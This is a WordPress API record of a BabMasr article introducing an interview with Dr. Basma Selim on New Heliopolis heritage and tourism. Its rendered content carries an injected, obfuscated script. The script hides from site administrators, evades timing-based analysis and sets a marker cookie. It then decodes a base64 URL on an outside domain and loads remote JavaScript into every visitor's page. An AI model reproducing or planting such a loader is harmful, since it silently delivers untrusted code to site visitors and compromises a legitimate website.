{"id":2821,"date":"2025-09-25T12:40:07","date_gmt":"2025-09-25T10:40:07","guid":{"rendered":"https:\/\/babmsr.com\/en\/?p=2821"},"modified":"2026-03-06T15:37:13","modified_gmt":"2026-03-06T13:37:13","slug":"dr-basma-selim-new-heliopolis-has-a-unique-visual-identity-that-should-be-included-on-the-tourism-map","status":"publish","type":"post","link":"https:\/\/babmsr.com\/en\/2025\/09\/25\/dr-basma-selim-new-heliopolis-has-a-unique-visual-identity-that-should-be-included-on-the-tourism-map\/","title":{"rendered":"Unlocking Cairo&#8217;s Hidden Gem: Why New Heliopolis Belongs on Egypt&#8217;s Tourism Map"},"content":{"rendered":"\n<p><strong>Heritage is more than old buildings; it is the story of a society, the identity of a nation, and the memory of a city. In her book,\u00a0<em>\u201cUntapped Cultural Heritage and Its Impact on Sustainable Tourism Development in Heliopolis,\u201d<\/em>\u00a0Dr. Basma Selim shines a light on one of Cairo&#8217;s rarest urban gems: New Heliopolis. As the director of the Baron Empain Palace and a doctoral researcher in heritage and museum studies, Dr. Selim not only documents the history of this unique district but also reveals the missed opportunities to revive its heritage for cultural development. In this interview, we discuss the challenges of preserving identity amid urban change and the potential for transforming heritage into a living resource for future generations<\/strong><\/p>\n\n\n\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Heritage is more than old buildings; it is the story of a society, the identity of a nation, and the memory of a city. In her book,\u00a0\u201cUntapped Cultural Heritage and Its Impact on Sustainable Tourism Development in Heliopolis,\u201d\u00a0Dr. Basma Selim shines a light on one of Cairo&#8217;s rarest urban gems: New Heliopolis. As the director &hellip;<\/p>\n","protected":false},"author":12,"featured_media":2823,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[96],"tags":[],"class_list":["post-2821","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-greater-cairo"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Unlocking Cairo&#039;s Hidden Gem: Why New Heliopolis Belongs on Egypt&#039;s Tourism Map - BabMasr<\/title>\n<meta name=\"description\" content=\"sheds light on one of Cairo&#039;s oldest and most unique, New Heliopolis, which is a rare urban and cultural gem.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/babmsr.com\/en\/2025\/09\/25\/dr-basma-selim-new-heliopolis-has-a-unique-visual-identity-that-should-be-included-on-the-tourism-map\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Unlocking Cairo&#039;s Hidden Gem: Why New Heliopolis Belongs on Egypt&#039;s Tourism Map - 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